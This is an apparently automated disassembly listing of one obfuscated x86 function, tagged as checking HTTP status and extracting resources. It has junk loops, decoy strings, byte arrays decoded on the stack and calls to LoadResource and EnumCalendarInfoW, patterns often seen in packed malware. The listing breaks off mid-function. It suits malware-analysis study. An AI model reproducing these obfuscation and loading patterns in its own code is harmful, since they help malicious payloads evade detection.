Function at 0x10003754
Capabilities:
Check http status code
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x1005fc64
call fcn.1005f648
sub esp, 0x500
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 0x5c], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
mov byte [ebp - 4], 1
push 1
push ecx
mov dword [ebp - 0xac], 0x1d07ee0a
mov dword [ebp - 0xa8], 0x2c00000b
mov dword [ebp - 0xa4], 0x180c3709
mov dword [ebp - 0xa0], 0x6080403
mov dword [ebp - 0x9c], 0x6e052d06
mov dword [ebp - 0x98], 0x6c014e02
mov dword [ebp - 0x94], 0x4010604
call fcn.1000273e
pop ecx
pop ecx
push 0x72
pop eax
push 2
mov edi, ebx
mov word [ebp - 0x35c], ax
pop esi
mov dword [ebp - 0x15c], edi
push 0x5eef
push 1
push ecx
call fcn.100028b6
add esp, 0xc
cmp esi, 0x16
jne 0x10003813
push 2
pop edi
mov dword [ebp - 0x15c], edi
jmp 0x1000386b
movzx edx, byte [ebp + esi - 0xab]
mov eax, esi
sub eax, edi
push 0x5a85
movzx eax, byte [ebp + eax - 0xae]
movzx ecx, word [ebp + eax*2 - 0x370]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xac]
add ecx, edx
mov edx, 0x3ab3
push ecx
push ebx
mov word [ebp + eax*2 - 0x370], cx
lea eax, [ebp - 0x15c]
push eax
push ecx
call fcn.10002601
mov edi, dword [ebp - 0x15c]
add esp, 0x14
add esi, 2
cmp esi, 0x1c
jb 0x100037f3
mov dword [ebp - 0x18], 0x76d6
mov eax, 0x6219ff40
mov dword [ebp - 0x1c], 0x246
mov dword [ebp - 0x34], 0xbd907c4
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], 0xacefce06
mov dword [ebp - 0x1c], 0x6f9132f4
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], eax
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
je 0x100038e2
cmp dword [ebp - 0x18], ebx
je 0x100038e2
xor eax, eax
inc eax
jmp 0x100038e4
mov eax, ebx
cmp eax, dword [ebp - 0x18]
jle 0x100038f2
cmp dword [ebp - 0x18], ebx
jne 0x100038f2
mov edx, ebx
jmp 0x100038f5
xor edx, edx
inc edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edx
setne cl
cmp ecx, dword [ebp - 0x18]
jle 0x10003907
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
neg eax
push 0x61
cmp eax, edx
setle cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xfff7
setne cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xf55
mov eax, dword [ebp - 0x18]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
or eax, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 0x14]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov ecx, ebx
setne dl
xor eax, eax
imul edx, dword [ebp - 0x14]
mov dword [ebp - 0x90], 0x4c027904
mov dword [ebp - 0x8c], 0xb064e03
mov dword [ebp - 0x88], 0xae010b05
mov dword [ebp - 0x84], 0xb000607
cmp eax, edx
mov word [ebp - 0x80], 0x101
mov dword [ebp - 0x158], ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x2f0], eax
xor eax, eax
mov word [ebp - 0x356], ax
pop eax
push 2
mov word [ebp - 0x260], ax
pop esi
cmp esi, 0xa
jne 0x100039e6
push 2
pop ecx
mov dword [ebp - 0x158], ecx
jmp 0x10003a3e
movzx edx, byte [ebp + esi - 0x8f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x92]
movzx ecx, word [ebp + eax*2 - 0x268]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x90]
add ecx, edx
mov dl, 1
push ecx
push 0x7a32
push 0x5e6
mov word [ebp + eax*2 - 0x268], cx
push ecx
lea ecx, [ebp - 0x158]
call fcn.1000338a
mov ecx, dword [ebp - 0x158]
add esp, 0x10
add esi, 2
cmp esi, 0x12
jb 0x100039d6
xor eax, eax
mov dword [ebp - 0x30c], 7
mov word [ebp - 0x258], ax
lea ecx, [ebp - 0x320]
mov word [ebp - 0x320], ax
lea eax, [ebp - 0x268]
push eax
mov dword [ebp - 0x310], ebx
call fcn.10005bf3
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x344]
xor eax, eax
mov dword [ebp - 0x330], 7
mov word [ebp - 0x344], ax
lea eax, [ebp - 0x370]
push eax
mov dword [ebp - 0x334], ebx
call fcn.10005bf3
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x40c]
call fcn.10007c69
lea eax, [ebp - 0x320]
push eax
lea ecx, [ebp - 0x3f4]
call fcn.10007c69
push ebx
push 1
lea ecx, [ebp - 0x344]
call fcn.10005c7b
push ebx
push 1
lea ecx, [ebp - 0x320]
call fcn.10005c7b
mov byte [ebp - 4], 3
lea eax, [ebp - 0x3dc]
push dword [ebp - 0x184]
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x178], ebx
push eax
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x174], ebx
push eax
push ebx
mov dword [ebp - 0x170], ebx
call fcn.1000801b
push fcn.10005416
push 1
push 0x30
lea eax, [ebp - 0x40c]
mov byte [ebp - 4], 5
push eax
call fcn.100474f1
push 7
xor eax, eax
lea edi, [ebp - 0x370]
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x268]
mov edx, 0x7f1e
stosd dword es:[edi], eax
mov ecx, 0x4dcc
push ebx
push ebx
push 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.10002589
mov dword [ebp - 0x1c], 0x3c2d
add esp, 0x14
cmp dword [ebp - 0x1c], 0x3ee1
jle 0x10003baf
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x1007ba38
or eax, esi
cdq
push edx
push eax
call fcn.10005547
inc edi
cmp edi, 0x5de9
jl 0x10003b8c
inc esi
cmp esi, 0x414c
jl 0x10003b8a
mov byte [ebp - 4], 6
cmp dword [ebp - 0x1c], 0x399a
jge 0x10003bec
mov edx, str.hbgw_fdmyy_reza
mov ecx, 0x1007ba38
call fcn.100078f4
jmp 0x10003bec
push 3
lea ecx, [ebp - 0x2c8]
mov dword [ebp - 4], 5
or esi, 0xffffffff
call fcn.100017ce
push 2
lea ecx, [ebp - 0x254]
mov byte [ebp - 4], 8
call fcn.100017ce
lea eax, [ebp - 0x2c8]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x1f4]
mov dword [ebp - 0x1f0], 0xa77c8748
push 1
push eax
mov edx, 0x1ab5
xor cl, cl
call fcn.10003294
add esp, 0xc
lea eax, [ebp - 0x1f4]
lea edx, [ebp - 0x254]
push eax
push 0x3f15
push ebx
push ecx
mov ecx, 0x361c
call fcn.10002639
add esp, 0x10
mov edx, 0x7758
push 1
push 0x13ba
push 0x38ac
push ecx
push ecx
push 0x2695
push 0x2849
call fcn.1000298d
add esp, 0x1c
lea eax, [ebp - 0x254]
mov edx, 0x692a
push 0x5701
push eax
push 1
push ecx
push ecx
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0x1f0]
call fcn.100029e9
add esp, 0x18
lea ecx, [ebp - 0x254]
call fcn.10001830
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 4], 5
call fcn.10001830
mov dword [ebp - 0x180], 0xca4f833f
lea ecx, [ebp - 0x218]
push 3
call fcn.100017ce
push ebx
push ecx
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0xa
push eax
push 0x23e1
push ecx
lea edx, [ebp - 0x328]
mov ecx, 0x6ac7
call fcn.10002e06
add esp, 0x14
cmp dword [ebp - 0x180], ebx
je 0x10003dbb
mov dword [ebp - 0x200], esi
mov dword [ebp - 0x1c], 0x4364
cmp dword [ebp - 0x1c], 0x46f8
jle 0x10003d53
mov esi, ebx
mov edi, ebx
mov ebx, 0x1515
mov eax, edi
mov ecx, 0x1007ba38
cdq
push edx
push eax
call fcn.10005547
add edi, esi
dec ebx
jne 0x10003d33
inc esi
cmp esi, 0x2ef1
jl 0x10003d2c
or esi, 0xffffffff
lea eax, [ebp - 0x200]
push ebx
push eax
call fcn.100023f1
pop ecx
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x1c], 0x3fbe
pop ecx
jge 0x10003d7e
mov edx, str.dgszhjo_qxe_obs_vvocc_xpkdsgvyo
mov ecx, 0x1007ba38
call fcn.100078f4
mov dword [ebp - 4], 0xa
jmp 0x10003e3d
push ebx
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x4c], 0xfffffff9
push eax
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x20c], esi
push eax
push ecx
push ecx
lea eax, [ebp - 0x180]
mov dword [ebp - 0x1f8], esi
push eax
lea eax, [ebp - 0x218]
push eax
lea edx, [ebp - 0x4c]
call fcn.1000298d
add esp, 0x1c
mov dword [ebp - 0x4c], ebx
cmp dword [ebp - 0x4c], 2
jg 0x10003e3d
mov edx, 0xa1dd7933
mov dword [ebp - 0x14], ebx
jmp 0x10003e1c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3cc], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10003e0b
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x218]
mov dword [eax + ecx*4], edx
mov dword [ebp - 0x3c4], edx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jle 0x10003e06
push 0x2c43
push ebx
push ecx
call fcn.10002417
add esp, 0xc
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x218]
call fcn.10001830
push ebx
push 0x2fca
push 0x31a0
call fcn.1003e4fd
pop ecx
pop ecx
call eax
mov dword [ebp - 0x1c], 0x9ea
cmp dword [ebp - 0x1c], 0xb95
jle 0x10003ebb
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov ecx, ebx
lea eax, [esi + edi]
sar eax, cl
mov ecx, 0x1007ba38
cdq
push edx
push eax
call fcn.10005547
inc ebx
cmp ebx, 0x5909
jl 0x10003e86
inc esi
push 0
pop ebx
cmp esi, 0x57dd
jl 0x10003e83
inc edi
cmp edi, 0x69ee
jl 0x10003e81
or esi, 0xffffffff
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x1c], 0x616
jge 0x10003efb
mov edx, str.cacvsbdtd_idzsw_zdfj_byljait_mfq_prlb_vyf_iawqv_mpelzpxb_wxwdowxl_vkqraxz
mov ecx, 0x1007ba38
call fcn.100078f4
jmp 0x10003efb
mov dword [ebp - 4], 5
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x14], ebx
jmp 0x10003f1c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x74], 0xfff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10003f0e
push 0x296c
push 0x631f
push 1
lea ecx, [ebp - 0x30]
call fcn.10002c7d
add esp, 0xc
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 1
jg 0x1000407d
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x2c], 0x267e
mov dword [ebp - 0x34], 0xae215169
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x74], ecx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 1
jg 0x10004075
mov dword [ebp - 0x20], 0x8716
mov dword [ebp - 0x28], 0x5db2b058
mov dword [ebp - 0x1c], 0x26c9
cmp dword [ebp - 0x1c], 0x27aa
jle 0x10003fee
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
add eax, edi
lea ecx, [ebp - 0x424]
and eax, esi
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003fb9
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x424]
call fcn.10005baf
mov eax, dword [ebp - 0x14]
inc esi
cmp esi, 0x3d67
jl 0x10003f9d
inc edi
cmp edi, 0x5a9f
jl 0x10003f9b
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x11aa
jl 0x10003f99
cmp dword [ebp - 0x1c], 0x24f8
jge 0x10004002
push str.zix_vywb_zueqdhzpt_gkgcqdcc_flyfhdsp_ndzpcqu_sxaawir_hgg_oeexudgs_gnbnqz_egqg
call fcn.10047752
pop ecx
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x74], ebx
jne 0x10004075
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x2c]
imul ecx, eax
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x34]
je 0x10004068
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x74], ebx
je 0x10004068
xor eax, eax
inc eax
jmp 0x1000406a
mov eax, ebx
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x18]
jmp 0x10003f6c
inc dword [ebp - 0x30]
jmp 0x10003f3c
mov dword [ebp - 0x60], 0xfffffff7
lea ecx, [ebp - 0x2d4]
push 2
call fcn.100017ce
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x1e8], 0xbf90350d
mov dword [ebp - 0x14], ebx
jmp 0x100040b7
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2d4]
mov dword [eax + ecx*4], 0x9ac54c97
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100040a4
lea eax, [ebp - 0x48]
mov byte [ebp - 0x48], bl
push eax
sub esp, 0xc
mov edx, 0x35a4
xor cl, cl
call fcn.10002edd
add esp, 0x10
mov dword [ebp - 0x60], ebx
cmp dword [ebp - 0x60], 0xfffffffe
jge 0x1000417c
or esi, 0xffffffff
mov dword [ebp - 0x1fc], 1
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x1c8], esi
push 4
call fcn.100017ce
lea eax, [ebp - 0x204]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x280]
mov dword [ebp - 0x1ec], ebx
push eax
push ebx
mov ecx, 0x5cad
call fcn.10002c7d
add esp, 0xc
lea eax, [ebp - 0x1ec]
lea edx, [ebp - 0x280]
push 1
push eax
push ecx
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x1e8]
call fcn.100034d7
add esp, 0x1c
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x280]
call fcn.10001830
dec dword [ebp - 0x60]
cmp dword [ebp - 0x60], 0xfffffffe
jl 0x100040e6
lea ecx, [ebp - 0x2d4]
mov byte [ebp - 4], 5
call fcn.10001830
push ecx
push ecx
push ebx
sub esp, 0x10
mov dword [ebp - 0x38], ebx
xor eax, eax
mov edx, 0x4156
mov word [ebp - 0x354], ax
push 0x53c2
push ecx
call fcn.100030eb
movdqa xmm0, xmmword [0x1006e500]
lea eax, [ebp - 0x380]
add esp, 0x24
mov dword [ebp - 0x1e4], ebx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1e0], ebx
movdqu xmmword [ebp - 0x390], xmm0
mov dword [ebp - 0x1dc], ebx
push dword [ebp - 0x204]
push eax
lea eax, [ebp - 0x390]
push eax
push ebx
call fcn.100018ed
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x3c], 0xcb50bf34
mov dword [ebp - 0x3c], ebx
jmp 0x1000422c
lea eax, [ebp - 0x1e4]
push eax
push 0x4232
push ebx
push ecx
push ecx
push 0x1c68
lea edx, [ebp - 0x3c]
mov ecx, 0x4382
call fcn.100029e9
mov eax, dword [ebp - 0x3c]
add esp, 0x18
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jle 0x10004202
push ecx
lea eax, [ebp - 0x46]
mov byte [ebp - 0x46], bl
push eax
push ecx
push ebx
mov edx, 0xe44
call fcn.100033c6
add esp, 0x10
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1e4]
call fcn.10001830
push 0x39
pop eax
push 2
mov dl, 0x14
mov dword [ebp - 0x100], 0x140e6b14
mov dword [ebp - 0xfc], 0x74196908
mov dword [ebp - 0xf8], 0x78207116
mov dword [ebp - 0xf4], 0x2210d17
mov dword [ebp - 0xf0], 0x9150e07
mov dword [ebp - 0xec], 0x7711020b
mov word [ebp - 0xe8], 0x7d22
mov byte [ebp - 0xe6], bl
mov dword [ebp - 0xe5], 0x254a0542
mov dword [ebp - 0xe1], 0x1045244c
mov dword [ebp - 0xdd], 0xa051d09
mov byte [ebp - 0xd9], bl
mov dword [ebp - 0xd8], 0x7c04771b
mov dword [ebp - 0xd4], 0x182f0a14
mov dword [ebp - 0xd0], 0x3190c6e
mov dword [ebp - 0xcc], 0x1f7e1e0c
mov dword [ebp - 0xc8], 0xf0e0d71
mov dword [ebp - 0xc4], 0x4010608
mov dword [ebp - 0xc0], 0x2062373
mov dword [ebp - 0xbc], 0x1a690901
mov word [ebp - 0xb8], 0x1c1d
mov byte [ebp - 0xb6], bl
mov dword [ebp - 0xb5], 0x77127501
mov word [ebp - 0xb1], 0x1f13
mov word [ebp - 0x44c], ax
pop esi
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x34], esi
cmp esi, 0x51
jae 0x1000449c
movzx eax, dl
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10004381
movzx ecx, byte [ebp + esi - 0x100]
dec esi
add esi, ecx
lea eax, [ecx + 1]
mov dword [ebp - 0x164], eax
jmp 0x10004494
mov dword [ebp - 0x14], 0x67cc
cmp dword [ebp - 0x14], 0x68c5
jle 0x100043f8
mov dword [ebp - 0x2c], ebx
mov eax, ebx
mov dword [ebp - 0x1c], 0x5719
mov dword [ebp - 0x28], eax
mov esi, ebx
cdq
mov edi, ebx
idiv esi
mov ebx, edx
mov eax, ebx
mov ecx, 0x1007ba38
xor eax, edi
cdq
push edx
push eax
call fcn.10005547
inc edi
cmp edi, 0x6c40
jl 0x100043a9
mov eax, dword [ebp - 0x28]
inc esi
push 0
pop ebx
cmp esi, 0x1e41
jl 0x100043a2
mov ecx, dword [ebp - 0x2c]
add eax, ecx
dec dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
jne 0x100043a0
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x1d27
jl 0x10004394
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov esi, dword [ebp - 0x34]
movzx edx, byte [ebp + esi - 0xff]
mov eax, esi
sub eax, dword [ebp - 0x164]
movzx eax, byte [ebp + eax - 0x102]
movzx ecx, word [ebp + eax*2 - 0x474]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x100]
add ecx, edx
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x14], 0x6428
mov word [ebp + eax*2 - 0x474], cx
jge 0x10004475
mov edx, str.lfnyxp_ekweue_ocfhjoc_zcymrvoiq_uac_pqksgaoj_smzbu_tgdc_ubbaua_yinydm_ezo
mov ecx, 0x1007ba38
call fcn.100078f4
jmp 0x10004475
lea eax, [ebp - 0x164]
mov dword [ebp - 4], 5
push eax
push 1
push ecx
call fcn.10002417
mov dl, byte [ebp - 0x100]
add esp, 0xc
add esi, 2
jmp 0x1000434e
xor eax, eax
mov dword [ebp - 0x2a8], 7
mov word [ebp - 0x428], ax
lea ecx, [ebp - 0x2bc]
mov word [ebp - 0x2bc], ax
lea eax, [ebp - 0x474]
push eax
mov dword [ebp - 0x2ac], ebx
call fcn.10005bf3
push 0x13
mov byte [ebp - 4], 0x16
lea edi, [ebp - 0x474]
pop ecx
xor eax, eax
lea edx, [ebp - 0x3d]
rep stosd dword es:[edi], eax
push 0x330c
push ebx
push 0x78ce
stosw word es:[edi], ax
mov cl, 1
mov dword [ebp - 0x14], 2
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x3d], bl
call fcn.10003294
add esp, 0xc
mov dword [ebp - 0x14], 0xfffffff0
jmp 0x10004538
push 1
push 1
mov dword [ebp - 0x208], 0xffff
lea ecx, [ebp - 0x208]
push 0x4125
mov edx, 0x7bc7
call fcn.10002d8b
add esp, 0x10
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff6
push 1
jl 0x1000450f
mov dword [ebp - 0x14], 0xbeccce1e
lea ecx, [ebp - 0x23c]
mov dword [ebp - 0x1c], 0x3e64f147
call fcn.100017ce
push ecx
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0x17
push eax
lea eax, [ebp - 0x23c]
xor dl, dl
push eax
push ecx
mov ecx, 0x7843
call fcn.1000338a
add esp, 0x10
mov dword [ebp - 0x50], ebx
jmp 0x1000458f
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x39c], 0x91208373
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 3
jl 0x1000457e
cmp dword [ebp - 0x14], ebx
jne 0x100045ae
mov dword [ebp - 0x1c], 0xfffc
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jl 0x100045ae
xor esi, esi
inc esi
jmp 0x100045b0
mov esi, ebx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x23c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x23c]
cmp dword [eax], ecx
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
sub esi, ecx
lea ecx, [ebp - 0x23c]
mov dword [ebp - 0x394], esi
mov byte [ebp - 4], 0x16
call fcn.10001830
push 0x74
pop eax
push 0x72
pop ecx
push 0x33
mov byte [ebp - 0x147], al
mov byte [ebp - 0x11b], al
pop eax
push 2
mov dword [ebp - 0x14c], 0x116b512
mov byte [ebp - 0x148], 1
mov dword [ebp - 0x146], 0x6b1e6b13
mov byte [ebp - 0x142], 6
mov byte [ebp - 0x141], bl
mov dword [ebp - 0x140], 0x1d0e7619
mov dword [ebp - 0x13c], 0x11b6f22
mov byte [ebp - 0x138], 0xf
mov byte [ebp - 0x137], cl
mov byte [ebp - 0x136], 0xb
mov byte [ebp - 0x135], cl
mov dword [ebp - 0x134], 0x75100711
mov byte [ebp - 0x130], bl
mov dword [ebp - 0x12f], 0xa42204a
mov byte [ebp - 0x12b], bl
mov dword [ebp - 0x12a], 0x6080921
mov word [ebp - 0x126], 0x1b09
mov byte [ebp - 0x124], 0x18
mov byte [ebp - 0x123], bl
mov dword [ebp - 0x122], 0x71d1e0d
mov word [ebp - 0x11e], 0x405
mov byte [ebp - 0x11c], 3
mov byte [ebp - 0x11a], 2
mov byte [ebp - 0x119], cl
mov word [ebp - 0x118], 0x61a
mov byte [ebp - 0x116], 0x23
mov byte [ebp - 0x115], cl
mov byte [ebp - 0x114], 0x1c
mov byte [ebp - 0x113], cl
mov word [ebp - 0x112], 0x7517
mov byte [ebp - 0x110], 0xc
mov byte [ebp - 0x10f], cl
mov dword [ebp - 0x10e], 0x5240607
mov dword [ebp - 0x10a], 0x4e250715
mov word [ebp - 0x106], 0x441f
mov byte [ebp - 0x104], 4
mov byte [ebp - 0x103], bl
mov word [ebp - 0x102], 0x7b14
mov word [ebp - 0x4a0], ax
pop esi
movzx eax, byte [ebp + esi - 0x14e]
movzx ecx, byte [ebp + esi - 0x14b]
movzx edx, word [ebp + eax*2 - 0x4c4]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x14c]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x4c4], dx
cmp esi, 0x4c
jb 0x10004739
xor eax, eax
lea ecx, [ebp - 0x1b8]
mov word [ebp - 0x478], ax
mov dword [ebp - 0x24], 0x6a53d06c
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x24], 0x7b1891f7
mov dword [ebp - 0x1c], 0x6ccb0362
mov dword [ebp - 0x24], 0xd21dfe4b
mov dword [ebp - 0x24], 0xc93ee327
mov dword [ebp - 0x44], 0x50db8561
push 2
call fcn.100017ce
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x24], 0x60bc
mov dword [ebp - 0x14], ebx
jmp 0x100047e7
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b8]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100047d8
push ebx
lea edx, [ebp - 0x44]
call fcn.100036e0
pop ecx
mov dword [ebp - 0x44], ebx
jmp 0x100048e2
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jl 0x100048c7
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x24], 0xffffffff
push ecx
push ecx
mov dl, al
call fcn.10002de3
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x150]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
sub ecx, eax
mov eax, dword [ebp - 0x1b8]
neg ecx
push 1
sbb ecx, ecx
xor edx, edx
add ecx, 6
cmp dword [eax + esi*4], ecx
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1b8]
setle cl
xor edx, edx
cmp ecx, dword [eax + edi*4]
setge dl
xor ecx, ecx
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x2d8]
imul edx, dword [ebp - 0x1c]
cmp eax, edx
setne cl
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ecx + edx*4]
sub ecx, eax
mov eax, dword [ebp - 0x1b8]
mov dword [eax + esi*4], ecx
dec dword [ebp - 0x14]
pop eax
jns 0x10004829
xor ebx, ebx
push 0x5848
sub esp, 0xc
mov byte [ebp - 0x45], bl
lea edx, [ebp - 0x45]
mov cl, al
call fcn.10002edd
add esp, 0x10
inc dword [ebp - 0x44]
xor eax, eax
inc eax
cmp dword [ebp - 0x44], eax
jle 0x100047ff
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x16
call fcn.10001830
xor eax, eax
mov dword [ebp - 0x284], 7
mov word [ebp - 0x298], ax
lea ecx, [ebp - 0x298]
lea eax, [ebp - 0x4c4]
mov dword [ebp - 0x288], ebx
push eax
call fcn.10005bf3
push 0x13
pop ecx
mov byte [ebp - 4], 0x19
lea edi, [ebp - 0x4c4]
xor eax, eax
rep stosd dword es:[edi], eax
push 0xfffffffffffffff8
pop esi
push 1
stosw word es:[edi], ax
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x28], 0xc692
mov dword [ebp - 0x34], esi
call fcn.100017ce
mov byte [ebp - 4], 0x1a
or edi, 0xffffffff
mov dword [ebp - 0x2c], 0x2065c829
xor edx, edx
mov dword [ebp - 0x20], edi
inc edx
mov dword [ebp - 0x1c], 0x6ed9a830
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x18], ebx
jmp 0x10004986
mov eax, dword [ebp - 0x18]
